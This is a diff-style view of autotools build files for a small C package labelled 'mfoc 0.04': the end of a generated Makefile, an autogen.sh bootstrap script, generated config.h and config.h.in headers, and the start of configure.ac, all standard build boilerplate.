echo "Making $$target in $$subdir"; \
|
||||||
|
if test "$$subdir" = "."; then \
|
||||||
|
dot_seen=yes; \
|
||||||
|
local_target="$$target-am"; \
|
||||||
|
else \
|
||||||
|
local_target="$$target"; \
|
||||||
|
fi; \
|
||||||
|
(cd $$subdir && $(MAKE) $(AM_MAKEFLAGS) $$local_target) \
|
||||||
|
|| eval $$failcom; \
|
||||||
|
done; \
|
||||||
|
if test "$$dot_seen" = "no"; then \
|
||||||
|
$(MAKE) $(AM_MAKEFLAGS) "$$target-am" || exit 1; \
|
||||||
|
fi; test -z "$$fail"
|
||||||
|
|
||||||
|
$(RECURSIVE_CLEAN_TARGETS):
|
||||||
|
@failcom='exit 1'; \
|
||||||
|
for f in x $$MAKEFLAGS; do \
|
||||||
|
case $$f in \
|
||||||
|
*=* | --[!k]*);; \
|
||||||
|
*k*) failcom='fail=yes';; \
|
||||||
|
esac; \
|
||||||
|
done; \
|
||||||
|
dot_seen=no; \
|
||||||
|
case "$@" in \
|
||||||
|
distclean-* | maintainer-clean-*) list='$(DIST_SUBDIRS)' ;; \
|
||||||
|
*) list='$(SUBDIRS)' ;; \
|
||||||
|
esac; \
|
||||||
|
rev=''; for subdir in $$list; do \
|
||||||
|
if test "$$subdir" = "."; then :; else \
|
||||||
|
rev="$$subdir $$rev"; \
|
||||||
|
fi; \
|
||||||
|
done; \
|
||||||
|
rev="$$rev ."; \
|
||||||
|
target=`echo $@ | sed s/-recursive//`; \
|
||||||
|
for subdir in $$rev; do \
|
||||||
|
echo "Making $$target in $$subdir"; \
|
||||||
|
if test "$$subdir" = "."; then \
|
||||||
|
local_target="$$target-am"; \
|
||||||
|
else \
|
||||||
|
local_target="$$target"; \
|
||||||
|
fi; \
|
||||||
|
(cd $$subdir && $(MAKE) $(AM_MAKEFLAGS) $$local_target) \
|
||||||
|
|| eval $$failcom; \
|
||||||
|
done && test -z "$$fail"
|
||||||
|
tags-recursive:
|
||||||
|
list='$(SUBDIRS)'; for subdir in $$list; do \
|
||||||
|
test "$$subdir" = . || (cd $$subdir && $(MAKE) $(AM_MAKEFLAGS) tags); \
|
||||||
|
done
|
||||||
|
ctags-recursive:
|
||||||
|
list='$(SUBDIRS)'; for subdir in $$list; do \
|
||||||
|
test "$$subdir" = . || (cd $$subdir && $(MAKE) $(AM_MAKEFLAGS) ctags); \
|
||||||
|
done
|
||||||
|
|
||||||
|
ID: $(HEADERS) $(SOURCES) $(LISP) $(TAGS_FILES)
|
||||||
|
list='$(SOURCES) $(HEADERS) $(LISP) $(TAGS_FILES)'; \
|
||||||
|
unique=`for i in $$list; do \
|
||||||
|
if test -f "$$i"; then echo $$i; else echo $(srcdir)/$$i; fi; \
|
||||||
|
done | \
|
||||||
|
$(AWK) '{ files[$$0] = 1; nonempty = 1; } \
|
||||||
|
END { if (nonempty) { for (i in files) print i; }; }'`; \
|
||||||
|
mkid -fID $$unique
|
||||||
|
tags: TAGS
|
||||||
|
|
||||||
|
TAGS: tags-recursive $(HEADERS) $(SOURCES) config.h.in $(TAGS_DEPENDENCIES) \
|
||||||
|
$(TAGS_FILES) $(LISP)
|
||||||
|
tags=; \
|
||||||
|
here=`pwd`; \
|
||||||
|
if ($(ETAGS) --etags-include --version) >/dev/null 2>&1; then \
|
||||||
|
include_option=--etags-include; \
|
||||||
|
empty_fix=.; \
|
||||||
|
else \
|
||||||
|
include_option=--include; \
|
||||||
|
empty_fix=; \
|
||||||
|
fi; \
|
||||||
|
list='$(SUBDIRS)'; for subdir in $$list; do \
|
||||||
|
if test "$$subdir" = .; then :; else \
|
||||||
|
test ! -f $$subdir/TAGS || \
|
||||||
|
tags="$$tags $$include_option=$$here/$$subdir/TAGS"; \
|
||||||
|
fi; \
|
||||||
|
done; \
|
||||||
|
list='$(SOURCES) $(HEADERS) config.h.in $(LISP) $(TAGS_FILES)'; \
|
||||||
|
unique=`for i in $$list; do \
|
||||||
|
if test -f "$$i"; then echo $$i; else echo $(srcdir)/$$i; fi; \
|
||||||
|
done | \
|
||||||
|
$(AWK) '{ files[$$0] = 1; nonempty = 1; } \
|
||||||
|
END { if (nonempty) { for (i in files) print i; }; }'`; \
|
||||||
|
if test -z "$(ETAGS_ARGS)$$tags$$unique"; then :; else \
|
||||||
|
test -n "$$unique" || unique=$$empty_fix; \
|
||||||
|
$(ETAGS) $(ETAGSFLAGS) $(AM_ETAGSFLAGS) $(ETAGS_ARGS) \
|
||||||
|
$$tags $$unique; \
|
||||||
|
fi
|
||||||
|
ctags: CTAGS
|
||||||
|
CTAGS: ctags-recursive $(HEADERS) $(SOURCES) config.h.in $(TAGS_DEPENDENCIES) \
|
||||||
|
$(TAGS_FILES) $(LISP)
|
||||||
|
tags=; \
|
||||||
|
list='$(SOURCES) $(HEADERS) config.h.in $(LISP) $(TAGS_FILES)'; \
|
||||||
|
unique=`for i in $$list; do \
|
||||||
|
if test -f "$$i"; then echo $$i; else echo $(srcdir)/$$i; fi; \
|
||||||
|
done | \
|
||||||
|
$(AWK) '{ files[$$0] = 1; nonempty = 1; } \
|
||||||
|
END { if (nonempty) { for (i in files) print i; }; }'`; \
|
||||||
|
test -z "$(CTAGS_ARGS)$$tags$$unique" \
|
||||||
|
|| $(CTAGS) $(CTAGSFLAGS) $(AM_CTAGSFLAGS) $(CTAGS_ARGS) \
|
||||||
|
$$tags $$unique
|
||||||
|
|
||||||
|
GTAGS:
|
||||||
|
here=`$(am__cd) $(top_builddir) && pwd` \
|
||||||
|
&& cd $(top_srcdir) \
|
||||||
|
&& gtags -i $(GTAGS_ARGS) $$here
|
||||||
|
|
||||||
|
distclean-tags:
|
||||||
|
-rm -f TAGS ID GTAGS GRTAGS GSYMS GPATH tags
|
||||||
|
|
||||||
|
distdir: $(DISTFILES)
|
||||||
|
$(am__remove_distdir)
|
||||||
|
test -d $(distdir) || mkdir $(distdir)
|
||||||
|
@srcdirstrip=`echo "$(srcdir)" | sed 's/[].[^$$\\*]/\\\\&/g'`; \
|
||||||
|
topsrcdirstrip=`echo "$(top_srcdir)" | sed 's/[].[^$$\\*]/\\\\&/g'`; \
|
||||||
|
list='$(DISTFILES)'; \
|
||||||
|
dist_files=`for file in $$list; do echo $$file; done | \
|
||||||
|
sed -e "s|^$$srcdirstrip/||;t" \
|
||||||
|
-e "s|^$$topsrcdirstrip/|$(top_builddir)/|;t"`; \
|
||||||
|
case $$dist_files in \
|
||||||
|
*/*) $(MKDIR_P) `echo "$$dist_files" | \
|
||||||
|
sed '/\//!d;s|^|$(distdir)/|;s,/[^/]*$$,,' | \
|
||||||
|
sort -u` ;; \
|
||||||
|
esac; \
|
||||||
|
for file in $$dist_files; do \
|
||||||
|
if test -f $$file || test -d $$file; then d=.; else d=$(srcdir); fi; \
|
||||||
|
if test -d $$d/$$file; then \
|
||||||
|
dir=`echo "/$$file" | sed -e 's,/[^/]*$$,,'`; \
|
||||||
|
if test -d $(srcdir)/$$file && test $$d != $(srcdir); then \
|
||||||
|
cp -pR $(srcdir)/$$file $(distdir)$$dir || exit 1; \
|
||||||
|
fi; \
|
||||||
|
cp -pR $$d/$$file $(distdir)$$dir || exit 1; \
|
||||||
|
else \
|
||||||
|
test -f $(distdir)/$$file \
|
||||||
|
|| cp -p $$d/$$file $(distdir)/$$file \
|
||||||
|
|| exit 1; \
|
||||||
|
fi; \
|
||||||
|
done
|
||||||
|
list='$(DIST_SUBDIRS)'; for subdir in $$list; do \
|
||||||
|
if test "$$subdir" = .; then :; else \
|
||||||
|
test -d "$(distdir)/$$subdir" \
|
||||||
|
|| $(MKDIR_P) "$(distdir)/$$subdir" \
|
||||||
|
|| exit 1; \
|
||||||
|
distdir=`$(am__cd) $(distdir) && pwd`; \
|
||||||
|
top_distdir=`$(am__cd) $(top_distdir) && pwd`; \
|
||||||
|
(cd $$subdir && \
|
||||||
|
$(MAKE) $(AM_MAKEFLAGS) \
|
||||||
|
top_distdir="$$top_distdir" \
|
||||||
|
distdir="$$distdir/$$subdir" \
|
||||||
|
am__remove_distdir=: \
|
||||||
|
am__skip_length_check=: \
|
||||||
|
distdir) \
|
||||||
|
|| exit 1; \
|
||||||
|
fi; \
|
||||||
|
done
|
||||||
|
-find $(distdir) -type d ! -perm -777 -exec chmod a+rwx {} \; -o \
|
||||||
|
! -type d ! -perm -444 -links 1 -exec chmod a+r {} \; -o \
|
||||||
|
! -type d ! -perm -400 -exec chmod a+r {} \; -o \
|
||||||
|
! -type d ! -perm -444 -exec $(install_sh) -c -m a+r {} {} \; \
|
||||||
|
|| chmod -R a+r $(distdir)
|
||||||
|
dist-gzip: distdir
|
||||||
|
tardir=$(distdir) && $(am__tar) | GZIP=$(GZIP_ENV) gzip -c >$(distdir).tar.gz
|
||||||
|
$(am__remove_distdir)
|
||||||
|
|
||||||
|
dist-bzip2: distdir
|
||||||
|
tardir=$(distdir) && $(am__tar) | bzip2 -9 -c >$(distdir).tar.bz2
|
||||||
|
$(am__remove_distdir)
|
||||||
|
|
||||||
|
dist-lzma: distdir
|
||||||
|
tardir=$(distdir) && $(am__tar) | lzma -9 -c >$(distdir).tar.lzma
|
||||||
|
$(am__remove_distdir)
|
||||||
|
|
||||||
|
dist-tarZ: distdir
|
||||||
|
tardir=$(distdir) && $(am__tar) | compress -c >$(distdir).tar.Z
|
||||||
|
$(am__remove_distdir)
|
||||||
|
|
||||||
|
dist-shar: distdir
|
||||||
|
shar $(distdir) | GZIP=$(GZIP_ENV) gzip -c >$(distdir).shar.gz
|
||||||
|
$(am__remove_distdir)
|
||||||
|
|
||||||
|
dist-zip: distdir
|
||||||
|
-rm -f $(distdir).zip
|
||||||
|
zip -rq $(distdir).zip $(distdir)
|
||||||
|
$(am__remove_distdir)
|
||||||
|
|
||||||
|
dist dist-all: distdir
|
||||||
|
tardir=$(distdir) && $(am__tar) | GZIP=$(GZIP_ENV) gzip -c >$(distdir).tar.gz
|
||||||
|
$(am__remove_distdir)
|
||||||
|
|
||||||
|
# This target untars the dist file and tries a VPATH configuration. Then
|
||||||
|
# it guarantees that the distribution is self-contained by making another
|
||||||
|
# tarfile.
|
||||||
|
distcheck: dist
|
||||||
|
case '$(DIST_ARCHIVES)' in \
|
||||||
|
*.tar.gz*) \
|
||||||
|
GZIP=$(GZIP_ENV) gunzip -c $(distdir).tar.gz | $(am__untar) ;;\
|
||||||
|
*.tar.bz2*) \
|
||||||
|
bunzip2 -c $(distdir).tar.bz2 | $(am__untar) ;;\
|
||||||
|
*.tar.lzma*) \
|
||||||
|
unlzma -c $(distdir).tar.lzma | $(am__untar) ;;\
|
||||||
|
*.tar.Z*) \
|
||||||
|
uncompress -c $(distdir).tar.Z | $(am__untar) ;;\
|
||||||
|
*.shar.gz*) \
|
||||||
|
GZIP=$(GZIP_ENV) gunzip -c $(distdir).shar.gz | unshar ;;\
|
||||||
|
*.zip*) \
|
||||||
|
unzip $(distdir).zip ;;\
|
||||||
|
esac
|
||||||
|
chmod -R a-w $(distdir); chmod a+w $(distdir)
|
||||||
|
mkdir $(distdir)/_build
|
||||||
|
mkdir $(distdir)/_inst
|
||||||
|
chmod a-w $(distdir)
|
||||||
|
dc_install_base=`$(am__cd) $(distdir)/_inst && pwd | sed -e 's,^[^:\\/]:[\\/],/,'` \
|
||||||
|
&& dc_destdir="$${TMPDIR-/tmp}/am-dc-$$$$/" \
|
||||||
|
&& cd $(distdir)/_build \
|
||||||
|
&& ../configure --srcdir=.. --prefix="$$dc_install_base" \
|
||||||
|
$(DISTCHECK_CONFIGURE_FLAGS) \
|
||||||
|
&& $(MAKE) $(AM_MAKEFLAGS) \
|
||||||
|
&& $(MAKE) $(AM_MAKEFLAGS) dvi \
|
||||||
|
&& $(MAKE) $(AM_MAKEFLAGS) check \
|
||||||
|
&& $(MAKE) $(AM_MAKEFLAGS) install \
|
||||||
|
&& $(MAKE) $(AM_MAKEFLAGS) installcheck \
|
||||||
|
&& $(MAKE) $(AM_MAKEFLAGS) uninstall \
|
||||||
|
&& $(MAKE) $(AM_MAKEFLAGS) distuninstallcheck_dir="$$dc_install_base" \
|
||||||
|
distuninstallcheck \
|
||||||
|
&& chmod -R a-w "$$dc_install_base" \
|
||||||
|
&& ({ \
|
||||||
|
(cd ../.. && umask 077 && mkdir "$$dc_destdir") \
|
||||||
|
&& $(MAKE) $(AM_MAKEFLAGS) DESTDIR="$$dc_destdir" install \
|
||||||
|
&& $(MAKE) $(AM_MAKEFLAGS) DESTDIR="$$dc_destdir" uninstall \
|
||||||
|
&& $(MAKE) $(AM_MAKEFLAGS) DESTDIR="$$dc_destdir" \
|
||||||
|
distuninstallcheck_dir="$$dc_destdir" distuninstallcheck; \
|
||||||
|
} || { rm -rf "$$dc_destdir"; exit 1; }) \
|
||||||
|
&& rm -rf "$$dc_destdir" \
|
||||||
|
&& $(MAKE) $(AM_MAKEFLAGS) dist \
|
||||||
|
&& rm -rf $(DIST_ARCHIVES) \
|
||||||
|
&& $(MAKE) $(AM_MAKEFLAGS) distcleancheck
|
||||||
|
$(am__remove_distdir)
|
||||||
|
@(echo "$(distdir) archives ready for distribution: "; \
|
||||||
|
list='$(DIST_ARCHIVES)'; for i in $$list; do echo $$i; done) | \
|
||||||
|
sed -e 1h -e 1s/./=/g -e 1p -e 1x -e '$$p' -e '$$x'
|
||||||
|
distuninstallcheck:
|
||||||
|
@cd $(distuninstallcheck_dir) \
|
||||||
|
&& test `$(distuninstallcheck_listfiles) | wc -l` -le 1 \
|
||||||
|
|| { echo "ERROR: files left after uninstall:" ; \
|
||||||
|
if test -n "$(DESTDIR)"; then \
|
||||||
|
echo " (check DESTDIR support)"; \
|
||||||
|
fi ; \
|
||||||
|
$(distuninstallcheck_listfiles) ; \
|
||||||
|
exit 1; } >&2
|
||||||
|
distcleancheck: distclean
|
||||||
|
@if test '$(srcdir)' = . ; then \
|
||||||
|
echo "ERROR: distcleancheck can only run from a VPATH build" ; \
|
||||||
|
exit 1 ; \
|
||||||
|
fi
|
||||||
|
@test `$(distcleancheck_listfiles) | wc -l` -eq 0 \
|
||||||
|
|| { echo "ERROR: files left in build directory after distclean:" ; \
|
||||||
|
$(distcleancheck_listfiles) ; \
|
||||||
|
exit 1; } >&2
|
||||||
|
check-am: all-am
|
||||||
|
check: check-recursive
|
||||||
|
all-am: Makefile config.h
|
||||||
|
installdirs: installdirs-recursive
|
||||||
|
installdirs-am:
|
||||||
|
install: install-recursive
|
||||||
|
install-exec: install-exec-recursive
|
||||||
|
install-data: install-data-recursive
|
||||||
|
uninstall: uninstall-recursive
|
||||||
|
|
||||||
|
install-am: all-am
|
||||||
|
@$(MAKE) $(AM_MAKEFLAGS) install-exec-am install-data-am
|
||||||
|
|
||||||
|
installcheck: installcheck-recursive
|
||||||
|
install-strip:
|
||||||
|
$(MAKE) $(AM_MAKEFLAGS) INSTALL_PROGRAM="$(INSTALL_STRIP_PROGRAM)" \
|
||||||
|
install_sh_PROGRAM="$(INSTALL_STRIP_PROGRAM)" INSTALL_STRIP_FLAG=-s \
|
||||||
|
`test -z '$(STRIP)' || \
|
||||||
|
echo "INSTALL_PROGRAM_ENV=STRIPPROG='$(STRIP)'"` install
|
||||||
|
mostlyclean-generic:
|
||||||
|
|
||||||
|
clean-generic:
|
||||||
|
|
||||||
|
distclean-generic:
|
||||||
|
-test -z "$(CONFIG_CLEAN_FILES)" || rm -f $(CONFIG_CLEAN_FILES)
|
||||||
|
|
||||||
|
maintainer-clean-generic:
|
||||||
|
@echo "This command is intended for maintainers to use"
|
||||||
|
@echo "it deletes files that may require special tools to rebuild."
|
||||||
|
clean: clean-recursive
|
||||||
|
|
||||||
|
clean-am: clean-generic mostlyclean-am
|
||||||
|
|
||||||
|
distclean: distclean-recursive
|
||||||
|
-rm -f $(am__CONFIG_DISTCLEAN_FILES)
|
||||||
|
-rm -f Makefile
|
||||||
|
distclean-am: clean-am distclean-generic distclean-hdr distclean-tags
|
||||||
|
|
||||||
|
dvi: dvi-recursive
|
||||||
|
|
||||||
|
dvi-am:
|
||||||
|
|
||||||
|
html: html-recursive
|
||||||
|
|
||||||
|
info: info-recursive
|
||||||
|
|
||||||
|
info-am:
|
||||||
|
|
||||||
|
install-data-am:
|
||||||
|
|
||||||
|
install-dvi: install-dvi-recursive
|
||||||
|
|
||||||
|
install-exec-am:
|
||||||
|
|
||||||
|
install-html: install-html-recursive
|
||||||
|
|
||||||
|
install-info: install-info-recursive
|
||||||
|
|
||||||
|
install-man:
|
||||||
|
|
||||||
|
install-pdf: install-pdf-recursive
|
||||||
|
|
||||||
|
install-ps: install-ps-recursive
|
||||||
|
|
||||||
|
installcheck-am:
|
||||||
|
|
||||||
|
maintainer-clean: maintainer-clean-recursive
|
||||||
|
-rm -f $(am__CONFIG_DISTCLEAN_FILES)
|
||||||
|
-rm -rf $(top_srcdir)/autom4te.cache
|
||||||
|
-rm -f Makefile
|
||||||
|
maintainer-clean-am: distclean-am maintainer-clean-generic
|
||||||
|
|
||||||
|
mostlyclean: mostlyclean-recursive
|
||||||
|
|
||||||
|
mostlyclean-am: mostlyclean-generic
|
||||||
|
|
||||||
|
pdf: pdf-recursive
|
||||||
|
|
||||||
|
pdf-am:
|
||||||
|
|
||||||
|
ps: ps-recursive
|
||||||
|
|
||||||
|
ps-am:
|
||||||
|
|
||||||
|
uninstall-am:
|
||||||
|
|
||||||
|
.MAKE: $(RECURSIVE_CLEAN_TARGETS) $(RECURSIVE_TARGETS) install-am \
|
||||||
|
install-strip
|
||||||
|
|
||||||
|
.PHONY: $(RECURSIVE_CLEAN_TARGETS) $(RECURSIVE_TARGETS) CTAGS GTAGS \
|
||||||
|
all all-am am--refresh check check-am clean clean-generic \
|
||||||
|
ctags ctags-recursive dist dist-all dist-bzip2 dist-gzip \
|
||||||
|
dist-lzma dist-shar dist-tarZ dist-zip distcheck distclean \
|
||||||
|
distclean-generic distclean-hdr distclean-tags distcleancheck \
|
||||||
|
distdir distuninstallcheck dvi dvi-am html html-am info \
|
||||||
|
info-am install install-am install-data install-data-am \
|
||||||
|
install-dvi install-dvi-am install-exec install-exec-am \
|
||||||
|
install-html install-html-am install-info install-info-am \
|
||||||
|
install-man install-pdf install-pdf-am install-ps \
|
||||||
|
install-ps-am install-strip installcheck installcheck-am \
|
||||||
|
installdirs installdirs-am maintainer-clean \
|
||||||
|
maintainer-clean-generic mostlyclean mostlyclean-generic pdf \
|
||||||
|
pdf-am ps ps-am tags tags-recursive uninstall uninstall-am
|
||||||
|
|
||||||
|
|
||||||
|
#pkgconfigdir = $(libdir)/pkgconfig
|
||||||
|
#pkgconfig_DATA = libnfc.pc
|
||||||
|
# Tell versions [3.59,3.63) of GNU make to not export all variables.
|
||||||
|
# Otherwise a system limit (for SysV at least) may be exceeded.
|
||||||
|
.NOEXPORT:
|
0
NEWS
Normal file
0
NEWS
Normal file
0
README
Normal file
0
README
Normal file
0
TODO
Normal file
0
TODO
Normal file
1037
aclocal.m4
vendored
Normal file
1037
aclocal.m4
vendored
Normal file
File diff suppressed because it is too large
Load diff
34
autogen.sh
Normal file
34
autogen.sh
Normal file
|
@ -0,0 +1,34 @@
|
||||||
|
#!/bin/sh
|
||||||
|
|
||||||
|
rm -rf autom4te.cache
|
||||||
|
rm -f aclocal.m4 ltmain.sh
|
||||||
|
|
||||||
|
touch README
|
||||||
|
|
||||||
|
LIBTOOLIZE=libtoolize
|
||||||
|
case `uname -s` in
|
||||||
|
Darwin)
|
||||||
|
LIBTOOLIZE=glibtoolize
|
||||||
|
#ACLOCAL_ARGS="-I /opt/local/share/aclocal/"
|
||||||
|
# SKIP_PCSC="1"
|
||||||
|
;;
|
||||||
|
FreeBSD)
|
||||||
|
ACLOCAL_ARGS="-I /usr/local/share/aclocal/"
|
||||||
|
;;
|
||||||
|
esac
|
||||||
|
|
||||||
|
ACLOCAL_TITLE=`aclocal --version | head -n 1`
|
||||||
|
AUTOHEADER_TITLE=`autoheader --version | head -n 1`
|
||||||
|
AUTOCONF_TITLE=`autoconf --version | head -n 1`
|
||||||
|
LIBTOOLIZE_TITLE=`$LIBTOOLIZE --version | head -n 1`
|
||||||
|
AUTOMAKE_TITLE=`automake --version | head -n 1`
|
||||||
|
|
||||||
|
echo "Running $ACLOCAL_TITLE..." ; aclocal $ACLOCAL_ARGS || exit 1
|
||||||
|
echo "Running $AUTOHEADER_TITLE..." ; autoheader || exit 1
|
||||||
|
echo "Running $AUTOCONF_TITLE..." ; autoconf || exit 1
|
||||||
|
echo "Running $LIBTOOLIZE_TITLE..." ; $LIBTOOLIZE --copy --automake || exit 1
|
||||||
|
echo "Running $AUTOMAKE_TITLE..." ; automake --add-missing --copy --gnu || exit 1
|
||||||
|
|
||||||
|
if [ -z "$NOCONFIGURE" ]; then
|
||||||
|
./configure "$@"
|
||||||
|
fi
|
100
config.h
Normal file
100
config.h
Normal file
|
@ -0,0 +1,100 @@
|
||||||
|
/* config.h. Generated from config.h.in by configure. */
|
||||||
|
/* config.h.in. Generated from configure.ac by autoheader. */
|
||||||
|
|
||||||
|
/* Define to 1 if you have the <inttypes.h> header file. */
|
||||||
|
#define HAVE_INTTYPES_H 1
|
||||||
|
|
||||||
|
/* Define to 1 if you have the <libnfc.h> header file. */
|
||||||
|
/* #undef HAVE_LIBNFC_H */
|
||||||
|
|
||||||
|
/* Define to 1 if your system has a GNU libc compatible `malloc' function, and
|
||||||
|
to 0 otherwise. */
|
||||||
|
#define HAVE_MALLOC 1
|
||||||
|
|
||||||
|
/* Define to 1 if you have the <memory.h> header file. */
|
||||||
|
#define HAVE_MEMORY_H 1
|
||||||
|
|
||||||
|
/* Define to 1 if you have the <mifaretag.h> header file. */
|
||||||
|
/* #undef HAVE_MIFARETAG_H */
|
||||||
|
|
||||||
|
/* Define to 1 if your system has a GNU libc compatible `realloc' function,
|
||||||
|
and to 0 otherwise. */
|
||||||
|
#define HAVE_REALLOC 1
|
||||||
|
|
||||||
|
/* Define to 1 if stdbool.h conforms to C99. */
|
||||||
|
#define HAVE_STDBOOL_H 1
|
||||||
|
|
||||||
|
/* Define to 1 if you have the <stdint.h> header file. */
|
||||||
|
#define HAVE_STDINT_H 1
|
||||||
|
|
||||||
|
/* Define to 1 if you have the <stdio.h> header file. */
|
||||||
|
#define HAVE_STDIO_H 1
|
||||||
|
|
||||||
|
/* Define to 1 if you have the <stdlib.h> header file. */
|
||||||
|
#define HAVE_STDLIB_H 1
|
||||||
|
|
||||||
|
/* Define to 1 if you have the <strings.h> header file. */
|
||||||
|
#define HAVE_STRINGS_H 1
|
||||||
|
|
||||||
|
/* Define to 1 if you have the <string.h> header file. */
|
||||||
|
#define HAVE_STRING_H 1
|
||||||
|
|
||||||
|
/* Define to 1 if you have the <sys/stat.h> header file. */
|
||||||
|
#define HAVE_SYS_STAT_H 1
|
||||||
|
|
||||||
|
/* Define to 1 if you have the <sys/types.h> header file. */
|
||||||
|
#define HAVE_SYS_TYPES_H 1
|
||||||
|
|
||||||
|
/* Define to 1 if you have the <unistd.h> header file. */
|
||||||
|
#define HAVE_UNISTD_H 1
|
||||||
|
|
||||||
|
/* Define to 1 if the system has the type `_Bool'. */
|
||||||
|
#define HAVE__BOOL 1
|
||||||
|
|
||||||
|
/* Name of package */
|
||||||
|
#define PACKAGE "@PACKAGE_NAME@"
|
||||||
|
|
||||||
|
/* Define to the address where bug reports for this package should be sent. */
|
||||||
|
#define PACKAGE_BUGREPORT "mifare@nethemba.com"
|
||||||
|
|
||||||
|
/* Define to the full name of this package. */
|
||||||
|
#define PACKAGE_NAME "mfoc"
|
||||||
|
|
||||||
|
/* Define to the full name and version of this package. */
|
||||||
|
#define PACKAGE_STRING "mfoc 0.04"
|
||||||
|
|
||||||
|
/* Define to the one symbol short name of this package. */
|
||||||
|
#define PACKAGE_TARNAME "mfoc"
|
||||||
|
|
||||||
|
/* Define to the version of this package. */
|
||||||
|
#define PACKAGE_VERSION "0.04"
|
||||||
|
|
||||||
|
/* Define to 1 if you have the ANSI C header files. */
|
||||||
|
#define STDC_HEADERS 1
|
||||||
|
|
||||||
|
/* Version number of package */
|
||||||
|
#define VERSION "@PACKAGE_VERSION@"
|
||||||
|
|
||||||
|
/* Define for Solaris 2.5.1 so the uint32_t typedef from <sys/synch.h>,
|
||||||
|
<pthread.h>, or <semaphore.h> is not used. If the typedef were allowed, the
|
||||||
|
#define below would cause a syntax error. */
|
||||||
|
/* #undef _UINT32_T */
|
||||||
|
|
||||||
|
/* Define for Solaris 2.5.1 so the uint64_t typedef from <sys/synch.h>,
|
||||||
|
<pthread.h>, or <semaphore.h> is not used. If the typedef were allowed, the
|
||||||
|
#define below would cause a syntax error. */
|
||||||
|
/* #undef _UINT64_T */
|
||||||
|
|
||||||
|
/* Define to rpl_malloc if the replacement function should be used. */
|
||||||
|
/* #undef malloc */
|
||||||
|
|
||||||
|
/* Define to rpl_realloc if the replacement function should be used. */
|
||||||
|
/* #undef realloc */
|
||||||
|
|
||||||
|
/* Define to the type of an unsigned integer type of width exactly 32 bits if
|
||||||
|
such a type exists and the standard includes do not define it. */
|
||||||
|
/* #undef uint32_t */
|
||||||
|
|
||||||
|
/* Define to the type of an unsigned integer type of width exactly 64 bits if
|
||||||
|
such a type exists and the standard includes do not define it. */
|
||||||
|
/* #undef uint64_t */
|
99
config.h.in
Normal file
99
config.h.in
Normal file
|
@ -0,0 +1,99 @@
|
||||||
|
/* config.h.in. Generated from configure.ac by autoheader. */
|
||||||
|
|
||||||
|
/* Define to 1 if you have the <inttypes.h> header file. */
|
||||||
|
#undef HAVE_INTTYPES_H
|
||||||
|
|
||||||
|
/* Define to 1 if you have the <libnfc.h> header file. */
|
||||||
|
#undef HAVE_LIBNFC_H
|
||||||
|
|
||||||
|
/* Define to 1 if your system has a GNU libc compatible `malloc' function, and
|
||||||
|
to 0 otherwise. */
|
||||||
|
#undef HAVE_MALLOC
|
||||||
|
|
||||||
|
/* Define to 1 if you have the <memory.h> header file. */
|
||||||
|
#undef HAVE_MEMORY_H
|
||||||
|
|
||||||
|
/* Define to 1 if you have the <mifaretag.h> header file. */
|
||||||
|
#undef HAVE_MIFARETAG_H
|
||||||
|
|
||||||
|
/* Define to 1 if your system has a GNU libc compatible `realloc' function,
|
||||||
|
and to 0 otherwise. */
|
||||||
|
#undef HAVE_REALLOC
|
||||||
|
|
||||||
|
/* Define to 1 if stdbool.h conforms to C99. */
|
||||||
|
#undef HAVE_STDBOOL_H
|
||||||
|
|
||||||
|
/* Define to 1 if you have the <stdint.h> header file. */
|
||||||
|
#undef HAVE_STDINT_H
|
||||||
|
|
||||||
|
/* Define to 1 if you have the <stdio.h> header file. */
|
||||||
|
#undef HAVE_STDIO_H
|
||||||
|
|
||||||
|
/* Define to 1 if you have the <stdlib.h> header file. */
|
||||||
|
#undef HAVE_STDLIB_H
|
||||||
|
|
||||||
|
/* Define to 1 if you have the <strings.h> header file. */
|
||||||
|
#undef HAVE_STRINGS_H
|
||||||
|
|
||||||
|
/* Define to 1 if you have the <string.h> header file. */
|
||||||
|
#undef HAVE_STRING_H
|
||||||
|
|
||||||
|
/* Define to 1 if you have the <sys/stat.h> header file. */
|
||||||
|
#undef HAVE_SYS_STAT_H
|
||||||
|
|
||||||
|
/* Define to 1 if you have the <sys/types.h> header file. */
|
||||||
|
#undef HAVE_SYS_TYPES_H
|
||||||
|
|
||||||
|
/* Define to 1 if you have the <unistd.h> header file. */
|
||||||
|
#undef HAVE_UNISTD_H
|
||||||
|
|
||||||
|
/* Define to 1 if the system has the type `_Bool'. */
|
||||||
|
#undef HAVE__BOOL
|
||||||
|
|
||||||
|
/* Name of package */
|
||||||
|
#undef PACKAGE
|
||||||
|
|
||||||
|
/* Define to the address where bug reports for this package should be sent. */
|
||||||
|
#undef PACKAGE_BUGREPORT
|
||||||
|
|
||||||
|
/* Define to the full name of this package. */
|
||||||
|
#undef PACKAGE_NAME
|
||||||
|
|
||||||
|
/* Define to the full name and version of this package. */
|
||||||
|
#undef PACKAGE_STRING
|
||||||
|
|
||||||
|
/* Define to the one symbol short name of this package. */
|
||||||
|
#undef PACKAGE_TARNAME
|
||||||
|
|
||||||
|
/* Define to the version of this package. */
|
||||||
|
#undef PACKAGE_VERSION
|
||||||
|
|
||||||
|
/* Define to 1 if you have the ANSI C header files. */
|
||||||
|
#undef STDC_HEADERS
|
||||||
|
|
||||||
|
/* Version number of package */
|
||||||
|
#undef VERSION
|
||||||
|
|
||||||
|
/* Define for Solaris 2.5.1 so the uint32_t typedef from <sys/synch.h>,
|
||||||
|
<pthread.h>, or <semaphore.h> is not used. If the typedef were allowed, the
|
||||||
|
#define below would cause a syntax error. */
|
||||||
|
#undef _UINT32_T
|
||||||
|
|
||||||
|
/* Define for Solaris 2.5.1 so the uint64_t typedef from <sys/synch.h>,
|
||||||
|
<pthread.h>, or <semaphore.h> is not used. If the typedef were allowed, the
|
||||||
|
#define below would cause a syntax error. */
|
||||||
|
#undef _UINT64_T
|
||||||
|
|
||||||
|
/* Define to rpl_malloc if the replacement function should be used. */
|
||||||
|
#undef malloc
|
||||||
|
|
||||||
|
/* Define to rpl_realloc if the replacement function should be used. */
|
||||||
|
#undef realloc
|
||||||
|
|
||||||
|
/* Define to the type of an unsigned integer type of width exactly 32 bits if
|
||||||
|
such a type exists and the standard includes do not define it. */
|
||||||
|
#undef uint32_t
|
||||||
|
|
||||||
|
/* Define to the type of an unsigned integer type of width exactly 64 bits if
|
||||||
|
such a type exists and the standard includes do not define it. */
|
||||||
|
#undef uint64_t
|
50
configure.ac
Normal file
50
configure.ac
Normal file
|
@ -0,0 +1,50 @@
|
||||||
|
# -*- Autoconf -*-
|
||||||
|
# Process this file with autoconf to produce a configure script.
|
||||||
|
|
||||||
|
AC_PREREQ([2.61])
|
||||||
|
